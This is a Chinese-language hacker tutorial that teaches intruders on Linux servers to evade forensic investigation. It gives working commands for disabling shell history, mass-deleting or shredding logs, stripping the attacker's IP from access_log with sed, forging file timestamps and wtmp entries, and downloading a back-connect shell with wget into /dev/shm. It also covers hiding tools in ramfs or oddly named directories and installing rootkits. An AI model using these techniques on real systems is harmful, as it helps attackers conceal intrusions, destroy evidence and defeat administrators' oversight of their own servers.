被警察叔叔請去喝茶時間很痛苦的事情,各位道長如果功力不夠又喜歡出風頭的想必都有過這樣的“待遇”。如何使自己在系統中隱藏的更深,是我們必須掌握的基本功。當然,如果管理員真的想搞你而他的功力又足夠足的話,相信沒什麼人能夠真正的“踏雪無痕”。Forensic 與Anti-Forensic,說到底只是你和管理員之間的技術間較量而已。貌似很少有專門說這個的文章,大部分就是下載個日志擦除的軟件,然後運行下就可以了,對小站可以,但對方如果是經驗豐富的管理員呢?我們該如何應對?我在這裡只介紹unix-like system下的,至於windows或者其他什麼系統下的,歡迎各位道友補充。
1 最小化你的日志
訪問目標前用跳板我就不廢話了,你是VPN也好3389也罷,ssh中轉,代理都行。總之記住一點。直接連接攻擊目標是愚蠢的。
1.1 shell使用問題
目前linux下大多數的shell都是采用bash或者其他的什麼shell通過輸入輸出重定向來實現與服務器的交互的,當我們使用ssh或者telnet之類的登錄的時候,我們的命令都會被記錄在shell的history文件下面。舉例來說bash會在當前目錄下面.bash_history文件裡記錄下你此次登陸操作的命令,如果你拿這台機器當跳板的話,或者掃描其他機器,你的命令都會被記錄下來哦。呵呵,所以我們登錄的第一件事就是執行如下命令:
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
當然不同的shell寫法可能不同,像有的set設置環境變量什麼的。大家根據自己的shell自行修改。記住:從 webshell彈回的shell也會記錄你的操作,值得慶幸的是現在很多彈shell的腳本都預先unset 環境變量。
我們還需要記住的是在登錄的時候出現在登錄窗口的一些信息,比如該用戶在什麼時候從哪個IP登錄進來的等等,這在我們後面的用於日志清除與修改的時候要用到。
Last login: Wed Apr 16 18:56:18 2008 from 192.168.44.1
[root@localhost ~]#
作為跳板的時候,我們有可能需要用本機的ssh去訪問別的機器,但是別的機器的公鑰呢?總不能放在當前用戶的目錄下吧?當然你可以事後刪除,但多一事不如少一事,你說對麼?
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
就可以了,但在這樣運行某些命令的時候可能會有提示,說你的stdin不是個terminal,這裡可以這樣解決:
python -c 'import pty; pty.spawn("/bin/sh")' 或者自己再建立個ttyshell。
1.2 webshell的選擇問題
日常生活中最主要目標瞄向了webserver。現在的web也是大多數入侵的一個突破口。
Linux下用的最多的就是apache服務器了,當我們發覺一個服務器的漏洞時候很可能要上傳一個webshell來進行對服務器文件進一步的操作和信息的搜集,部分webshell也提供了反彈shell的功能。 如何能夠在apache服務器的日志文件中留下最小的記錄也是需要深究的。這種情況通常發生在沒能夠獲得足夠的權限來清除apache日志。如果能夠root了,則可以將重點放在第二節日志清除上。通常,日志只記錄GET的信息,比如你的注入,你采用了那種方式提交數據等等。如果我們的 webshell采用的多是GET方式交互的話,就很容易在httpd的access_log中留下很多日志。這些以後都會被作為證據所采納的。Phpspy是個很好的選擇,作者也注意掉了這點,取消了GET方式的交互,再給webshell起一個比較迷惑的名字,這樣我們與webshell的交流就更加隱秘。
2 日志的清除與改寫
日志清除與改寫,俗稱擦PP,這是個很重要的過程,日志記錄了你對目標機器的操作記錄,大部分的入侵者查找都是通過日志來確定的,因此,我們需要對日志文件進行操作。對日志操作有這麼個說法,能修改的就不清除,這樣才能最小的減少管理員的懷疑。Linux下的大多數文件是以文本方式,或者以簡單的結構體方式存入文件的,這就為我們修改某個日志記錄裡的具體內容提供了前提條件。
需要注意的一點是,我們需要先看看日志的存放位置,有的管理員會修改日志保存的位置,一般來說,我們可以查看/etc/syslog.conf來獲得log文件存放的位置。但要注意的是,有的管理員(及其負責)會重新編譯syslogd文件來重新指定log存放的位置,怎麼辦?在這種情況下可以用strings來看下/sbin/syslogd這個文件,這種管理員我只在書裡看到過,至少我沒遇到過: P。這個配置文件裡面記錄了系統存放某些log的目錄,如secure文件等。下面我們就會根據這個文件來清理和修改日志。
現在可以在網上公開獲得的日志清除程序代碼很粗糙,我曾經看到過最誇張的清日志的代碼像這樣:
rm -rf /var/log/lastlog ; rm -rf /var/log/telnetd ; rm -rf /var/run/utmp ; rm -rf /var/log/secure ; rm -rf /root/.ksh_history ; rm -rf /root/.bash_history ; rm -rf /root/.bash_logut ; rm -rf /var/log/wtmp ; rm -rf /etc/wtmp ; rm -rf /var/run/utmp ; rm -rf /etc/utmp ; rm -rf /var/log ; rm -rf /var/adm ; rm -rf /var/apache/log ; rm -rf /var/apache/logs ; rm -rf /usr/local/apache/log ; rm -rf /usr/local/apache/logs ; rm -rf /var/log/acct ; rm -rf /var/log/xferlog ; rm -rf /var/log/messages ; rm -rf /var/log/proftpd/xferlog.legacy ; rm -rf /var/log/proftpd.access_log ; rm -rf /var/log/proftpd.xferlog ; rm -rf /var/log/httpd/error_log ; rm -rf /var/log/httpd/access_log ; rm -rf /etc/httpd/logs/access_log ; rm -rf /etc/httpd/logs/error_log ;rm -rf /var/log/news/suck.notice ; rm -rf /var/spool/tmp ; rm -rf /var/spool/errors ; rm -rf /var/spool/logs ; rm -rf /var/spool/locks ; rm -rf /usr/local/www/logs/thttpd_log ; rm -rf /var/log/thttpd_log ; rm -rf /var/log/ncftpd/misclog.txt ; rm -rf /var/log/ncftpd.errs ; rm -rf /var/log/auth ; rm -rf /root/.bash_history ; touch /root/.bash_history ; history –r
整個rm集合,要是服務器跑了很長時間,積累了很多日志。你這樣一刪除的,你幫他省事了,他也省事,一眼就看出有人進來了。
先不說其他,用rm刪除就不可取,正確的刪除文件做法是用shred
shred -n 31337 -z -u
file_to_delete
這樣多次擦除才夠安全。呵呵
下面具體的針對日志文件進行分析。
w命令提供了管理員查看當前登錄帳戶的功能,所以與管理員同台共演是件很危險的事情,能不做就不做,但也有人曾經上演過local exp後,裝上tty 然後T管理員下線截獲登錄密碼的好戲。呵呵,如何讓w不顯示你登錄了呢?
用rootkit我就不廢話了,這裡有個小竅門,即使是普通用戶登錄管理員也不能看見:
在跳板上登錄目標ssh -T
[email protected] /bin/bash –i 你可以試試,很好用哦。
OK,言歸正傳
首先第一個概念是timstamp,也就是你用ls –l 看到的東西,我們在修改一個log文件之前或者留後門之後都得留心下這個時間,有很多管理員喜歡通過timestamp來查找入侵者留下的東西。記住以下命令
touch -r 具有你希望改成的時間的文件 你要改變的文件 他能夠使得兩個文件的timestamp保持一致。
在你修改日志之前,你可以在/dev/shm下面建立一個臨時文件,並將log的timestamp保存下倆,然後再touch回去。為什麼要用/dev/shm 目錄在第三節會有說明。當然我們也可以用程序實現,不過有的時候我們會碰到沒有見過的日志類型,所以有時候需要手工改寫日志。除了時間之外,還需要注意文件的其他屬性,比如所有者或是否有粘滯位等等。這些都需要注意。
Linux 的日志散落在系統各處,同時系統管理員也能夠靈活的制定日志保存的位置,這就要求我們非常小心,采用通用的日志移除或改寫工具是很不明智的,為此我們要對需要修改的日志系統有個全面的了解。具體的內容請參看文章《Linux服務器日志管理詳解》。
怎麼使用自己去看看吧。我個人還是傾向於某個日志用某個特定的清除或修改器,這樣靈活性更大點。
我們也可以使用sed命令行工具來清除某些日志,通常我會這樣修改web日志:
touch /dev/shm/timestamp; touch -r access_log /dev/shm/timestamp;sed '/192\.168\.44\.1/d' access_log > /dev/shm/backlog ;
cat /dev/shm/backlog > access_log; touch -r /dev/shm/timestamp ./access_log ;shred -n 255 -z -u /dev/shm/timestamp;
這裡192.168.44.1是我跳板的IP。
具體的log修改和擦除工具,各位道長就從網上下個現成的自己改改吧,呵呵,我就不在這獻丑了。
還有一點,我們要將wtmp文件中的登錄日志修改成原來管理員登陸的IP和時間 也就是第一節中記下的時間與IP。如果實在得不到 root權限,我們也可以ssh localhost一下來隱藏登錄IP。
3 工具與數據的隱藏
3.1 工具與數據的臨時存放
當我們需要在服務器上留下某些程序的時候,比如sniff軟件,或者作為跳板攻擊其他服務器的時候,我們不得不面對著一個痛苦的抉擇:既要能夠留下足夠的工具來完成必要的任務,又要經可能少的對文件系統乃至對磁盤的數據的改寫。在這種情況下,如果所要保存的數據只是臨時的,我們就需要在內存中建立起文件系統。這樣,當系統再重啟後我們曾經在磁盤上保留的信息就會被擦除,因為它沒有被真正的寫到磁盤上面去。(注意:通常我們只用這種方法來保存暫時用的程序、代碼等工具,如果要長久保存的不推薦此種方法)
為此,我們需要建立ramfs,它是一個在內存中存在的文件系統。具體的介紹請各位道友自行查找相關文檔查看。建立ramfs很簡單,不過需要有root權限。代碼如下:
mount -t ramfs ramfs /usr/tmp
這樣/usr/tmp目錄就被掛載為一個內存文件系統。當然,在實際過程中我們可能要找一個隱藏比較深的不用的目錄來做為掛載點。
那在我們沒有root的情況下呢?有時候,我們可能會遇到某個websever的php代碼有個remote execution的洞洞,在webserver 的目錄下不可寫的時候,我們可能會用到wget來下載一個回連的shell到一個都可以寫的目錄,比如/tmp
通常我們會這樣做:
wget http://xxxx/backshell.pl -P /tmp
但是否想過/tmp或許只是一個普通的ext3或者reinfs文件系統,最多充其量是個tmpfs,這些文件系統有個特點就是會與磁盤交互。那我們應該選擇什麼目錄來保存我們的代碼呢?在現代的linux操作系統中,默認掛載了/dev/shm目錄其類型就是ramfs,作為系統共享用。我們就可以利用它來完成保存shell的目的。
3.2 工具與數據的長期存放
目錄的隱藏是個很高深的學問,在最開始的階段,我們通常是在一個很深的目錄裡面建立名為"…" 或者" "等的目錄,然後把工具一股腦的放進去,這招在對付不負責任的管理員的時候很管用,但是遇到負責人的管理員一個find語句就能把你找出來:
find / -uid 0 –perm -4000 –print
find / -size +10000k –print
find / -name "..." –print
find / -name ".. " –print
find / -name ". " –print
find / -name " " –print
留setuid的程序也是個大的忌諱,這樣很容易引起管理員的懷疑。特別是這個setuid程序存在莫名其妙的目錄下的時候。
在大多數情況下,我們可以借助 rootkit來幫助你完成這個功能。
我簡單的介紹下,像linux下的rootkit,總體來說可以分為兩大類:應用層和內核態的rootkit。
應用層的rootkit通常通過修改某些文件來實現信息隱藏,比如修改ls 讓其不顯示某個特殊名稱文件夾,修改ifconfig讓其不顯示PROMISC位 還有的是通過修改 so 文件來留後門等等。如果管理員安裝了tripwire之類的完整性校驗工具各位道友就要小心了,不過一般的管理員也沒那麼負責。這些低級的rootkit很容易給chkrootkit之類的工具給揪出來,要真正用的話最好自己能下載源代碼重新編譯下,修改掉配置文件的默認位置,這樣好點。
內核級別的rootkit:顧名思義,進入ring0級別來HOOK掉某些系統調用或者其他什麼亂起八糟的方法來改掉系統調用的執行輸出(當然也ring3 patch ring0也有,像suckit)。這種東西很詭異,能夠真正成功裝上的幾率不大,關鍵看人品,呵呵。進入了2.6時代,很多美好的rootkit都失去了光彩。加之2.6的模塊編譯要內核樹的支持,更使得LKM方式的 rootkit舉步維艱。據wzt講,suckit也有2.6版本的,不過是private的要money。偶等窮人也只有干看到份了。
2.6的rootkit安裝可以看看包總的adore-ng教程 wnps也不錯,不過wzt這BB也停止開發了 。還有什麼內核靜態patch等方法,也只是在phrack裡面看到過,各位道友用過的給我介紹下啊,呵呵。
扯遠了,關於如何隱藏文件,當然你也可以采用偽造壞扇區的方法,將你的東西放在那裡,一般的文件系統算是看不出來了。你可以用特殊的工具對其進行存儲。這個再以後的advance anti-forensic文章中會講,不再多說。
4 如何安裝和編譯工具
可能linux與windows對於用戶來說,最大的不同就是linux從網上下載的大多數都是src 源代碼包,要使用的話需要在機器上現場編譯,好不容易有編譯好的發行包如rpm deb還是和系統相關的 依賴性啊,等等,煩都煩死人了。像要裝個ettercap,什麼libnet libpcap都得裝上,但有時候我們的目標機器上沒有所需要的依賴文件,這怎麼辦呢?不推薦使用rpm dpkg 等方式來安裝需要的文件,也不推薦apt yum源等方式安裝,從源代碼編譯把,這樣比較好點。
我們把下載的源代碼放到自己的隱藏目錄裡,在configure的時候需要指定prefix安裝路徑,總不能把這些包真正的裝到系統裡面把,指定成我們的隱藏目錄就好,這樣一來,管理員也不會發現怎麼系統安裝了許多原本沒有支持的庫文件或者頭文件了。
最後一步,當編譯我們的工具時,需要指定所依賴的頭文件目錄和庫文件目錄,不要執行make install命令,這樣一來,我們的工具就可以完全在我們的隱藏目錄裡面了。
關於perl的模塊安裝,可以參看這邊文章:
http://servers.digitaldaze.com/extensions/perl/modules.html